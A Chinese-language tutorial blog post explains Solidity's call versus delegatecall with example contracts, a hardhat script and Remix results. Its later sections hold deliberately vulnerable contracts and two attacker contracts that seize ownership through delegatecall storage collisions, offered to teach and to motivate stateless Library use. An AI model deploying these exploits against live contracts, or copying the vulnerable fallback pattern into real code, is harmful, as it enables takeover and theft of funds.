内容索引

  • 基本概念
    • call的用处
    • call的调用示例
      • 示例合约
      • 合约间调用
      • Remix调用
      • call调用注意事项
  • call vs delegatecall
    • 示例说明
      • call调用的执行上下文
      • delegatecall调用的执行上下文
  • delegatecall漏洞
    • solidity的特性
    • 漏洞示例
    • 扩展
  • 结语
    • 合约安全注意事项
    • call与delegatecall总结

基本概念

call的用处

call是solidity中合约之间交互的一个底层调用，但官方建议该方法仅在发送以太坊时使用，合约接受转账必须定义receive或payable fallback（当调用合约中不存在的方法时，该方法被默认调用），而不建议用call来调用合约中存在的方法。关于receive和fallback的区别见下面示例合约Caller的remoteCall方法，更详细的说明可参考这里。

call的调用示例

下面来演示以太坊的发送及合约方法的调用。注：为了方便调用本方的示例中使用的hardhat的console.sol合约来打印日志信息。

示例合约

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract Callee {fallback() external payable {console.log("In fallback Ether", msg.sender, msg.value);}receive() external payable {console.log("In Receive Ether", msg.sender, msg.value);}function foo(string memory _message, uint256 _x)publicviewreturns (uint256){console.log("foo invoking", msg.sender, _message);return _x + 1;}}contract Caller {constructor() payable{}function remoteCall(address instance) public payable {//触发fallback调用(bool sucess, ) = instance.call{value: 200}(abi.encodeWithSignature('nonExistingFunction()'));require(sucess, "call error");// //触发receive调用(bool sucess2, ) = instance.call{value: 200}('');require(sucess2, "call error");//调用foo(bool sucess3, ) = instance.call(abi.encodeWithSignature('foo(string,uint256)', 'hello foo', 100));require(sucess3, "call error");}}

合约间调用

  • 用js脚本调用触发合约调用
const hre = require('hardhat');async function main () {let Callee = await hre.ethers.getContractFactory("Callee");let Caller = await hre.ethers.getContractFactory("Caller");let callee = await Callee.deploy();//由于remoteCall方法向其它合约转以太坊，因此该合约部署时需要转入let caller = await Caller.deploy({value:10000});await caller.remoteCall(callee.address);}main().then(() => process.exit(0)).catch(error => {console.error(error);process.exit(1);});
  • 执行结果
    注： 当使用npx hardhat run 时，hardhat框架会向JS脚本默认引入hardhat环境变量，因此脚本中可以不定义hre变量。此处显示的引入hardhat环境变量（const hre = require(‘hardhat’);），以便脚本可以像普通JS脚本一样运行（node ）。

hardhat官方说明如下：

We require the Hardhat Runtime Environment explicitly here. This is optional but useful for running the script in a standalone fashion through node .
You can also run a script with npx hardhat run . If you do that, Hardhat will compile your contracts, add the Hardhat Runtime Environment’s members to the global scope, and execute the script.

Remix调用

  • 向合约转账300wei，且calldata不为空(fallback被调用)：
  • 向合约转账300wei，且calldata为空(receive被调用)：
  • 方法调用

call调用注意事项

使用call调用其它合约的方法时务必要检查其执行结果，如上例Caller合约中remoteCall中call方法的调用。

//触发fallback调用(bool sucess, ) = instance.call{value: 200}(abi.encodeWithSignature('nonExistingFunction()'));require(sucess, "call error");

虽然call在某些情况下可能是一个有用的工具，但通常不鼓励在调用其他契约中的现有函数时使用它。 原因如下:

  • Revert不能沿调用栈向上冒泡

当使用 call 调用函数时，在被调用函数内发生的任何Revert都不会冒泡到调用合约中。这意味着调用合约将不知道Revert的产生，并可能继续错误地执行。

  • 类型检查被忽视

Solidity提供了一个类型系统，确保数据的完整性和安全性。然而，当使用 call 时，会绕过函数参数的类型检查。如果没有正确处理输入类型，这可能会导致潜在的漏洞。

  • 函数是否存在的检查被遗漏

通过使用call来调用函数，您可以绕过Solidity执行的自动存在性检查。如果函数不存在或已重命名，则调用将触发回退函数，从而可能导致意想不到的行为。

call vs delegatecall

call和delegatecall都是用于合约间交互的低级函数，区别在于两者的执行上下文，前者的上下文是被调用的合约，而后者的上下文是发起调用的合约。说起来比较抽象，我们来举例说明：

示例说明

call调用的执行上下文

如图所示当合约A以call的形式调用合约B中的方法时，被调用方法（B中的方法）的执行上下文在合约B中。见图中address(this)合约地址的值。

  • 测试合约源码如下：
// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.8.2 <0.9.0;import "hardhat/console.sol";contract A {constructor() {console.log("Contract A's address:", address(this));}function remoteCall(address instance) public {(bool sucess, ) = instance.call(abi.encodeWithSignature("myAddress()"));require(sucess, "call error");}}contract B {constructor() {console.log("Contract B's address:", address(this));}function myAddress() public view {console.log("In contract B's myAddress", address(this));}}

示例中合约A调用合约B的myAddress方法，而该方法只是简单的打印执行上下文合约的地址。由于A是以call的形式调用B的方法，依据我们前面所述myAddress方法的执行上下文是合约B，因此该方法输出的应该是合约B的地址，我们在Remix中依次部署合约A、B并调用A中的remoteCall。

  • 在Remix中执行结果：

delegatecall调用的执行上下文

只需要将示例中的call调用改为delegatecall，以delegatecall方式调用时，依据我们前面所述myAddress方法的执行上下文是合约A，因此方法myAddress中打印的应该是合约A的地址。

  • 合约A代码修改如下：
function remoteCall(address instance) public {(bool sucess, ) = instance.delegatecall(abi.encodeWithSignature("myAddress()"));require(sucess, "call error");}
  • 在Remix中执行结果如下：

delegatecall漏洞

solidity的特性

delegatecall调用之所以容易引发漏洞，与solidity如下两个特性有关

  1. 合约调用时执行上下文在发起调用的合约；
  2. 调用方与被调用方状态变量的布局要一致；

漏洞示例

我们还是通过示例来深入探索。

  • 存在漏洞的合约代码
contract Vulnerable {address public owner;Lib public lib;constructor(Lib _lib) {owner = msg.sender;lib = Lib(_lib);}fallback() external payable {address(lib).delegatecall(msg.data);}}contract Lib {address public owner;function setowner() public {owner = msg.sender;}}

上述合约比较容易理解，合约Vulnerable 部署时需要传入已经部署的Lib合约地址，Vulnerable合约中fallback以delegatecall的形式调用合约Lib中的方法（调用方法由调用者通过msg.data指定）。此处Lib合约中只有一个方法setOwner用于修改owner值。

  • 攻击代码
    下面我们通过代码来修改上述漏洞合约的所有者。
contract AttackVulnerable {address public vulnerable;constructor(address _vulnerable) {vulnerable = _vulnerable;}function attack() public {vulnerable.call(abi.encodeWithSignature("setowner()"));}}

攻击者部署AttackVulnerable 合约时传入Vulnerable 合约的地址，并在部署完成后调用自身的attack方法即可修改Vulnerable 合约的owner值。

  • 攻击过程及原理
  1. 部署AttackVulnerable 合约时传入Vulnerable 地址，将其状态变量设置为Vulnerable 合约的址；
  2. 调用AttackVulnerable 的attack方法，该方法调用了Vulnerable 合约的setowner方法，由于Vulnerable 合约中并不存在该方法，因而其fallback被触发；
  3. fallback方法中以delegatecall的形式调用合约Lib中msg.data方法，而此处msg.data的值为abi.encodeWithSignature("setowner()")，因而Lib中的setowner方法被调用；
  4. 合约Lib中的setowner方法用于将合约中的owner修改为msg.sender的值，此处msg.sender为攻击者地址；
  5. 由于Vulnerable 合约中fallback中执行的是delegatecall调用，所以步骤4中setowner的执行上下文为Vulnerable 合约，因此其修改的为Vulnerable 合约中owner的值，至此合约Vulnerable 的拥有都变成了攻击者；

注： 步骤5中Vulnerable 的owner被修改是由solidity的特性（调用方与被调用方状态变量布局必须一致）决定的。

  • 执行结果

    注： 此处Vulnerable 的owner被设置成了攻击合约AttackVulnerable 的合约地址，这是因为测试在Remix执行，调用直接由AttackVulnerable 合约发起。我们可以通过脚本的形式调用AttackVulnerable合约的attack方法将Vulnerable 的owner设置为攻击者指定的任何地址。

扩展

下面的合约的漏洞比较隐蔽，读者可以根据上述的讨论方法，自己分析。

contract Lib {uint public num;function performOperation(uint _num) public {num = _num;}}contract Vulnerable {address public lib;address public owner;uint public num;constructor(address _lib) {lib = _lib;owner = msg.sender;}function performOperation(uint _num) public {lib.delegatecall(abi.encodeWithSignature("performOperation(uint256)", _num));}}//攻击者contract AttackVulnerable {address public lib;address public owner;uint public num;Vulnerable public vulnerable;constructor(Vulnerable _vulnerable) {vulnerable = Vulnerable(_vulnerable);}function attack() public {vulnerable.performOperation(uint(address(this)));vulnerable.performOperation(9);}// function signature must match Vulnerable.performOperation()function performOperation(uint _num) public {owner = msg.sender;}}

结语

合约安全注意事项

上面我们提到delegatecall的漏洞与solidity的两个特性有关。为了写出更安全的合约，solidity提供了Library关键字，被Library字义的合约必须是无状态的（合约内不能存在状态变量）。这就规避了在外部合约中修改状态变量的操作。在我们实践过程中我们写共用功能合约时尽量定义为Library。

call与delegatecall总结

call和delegatcall之间的区别很微妙，为了有效和安全地使用它们，理解它们是很重要的。通过理解执行上下文以及call和delegatcall之间的差异，您可以在Solidity中编写更有效，模块化和安全的智能合约。

参考：
https://medium.com/0xmantle/solidity-series-part-3-call-vs-delegatecall-8113b3c76855
https://celo.academy/t/preventing-vulnerabilities-in-solidity-delegate-call/38
https://docs.soliditylang.org/en/v0.6.2/contracts.html#receive-ether-function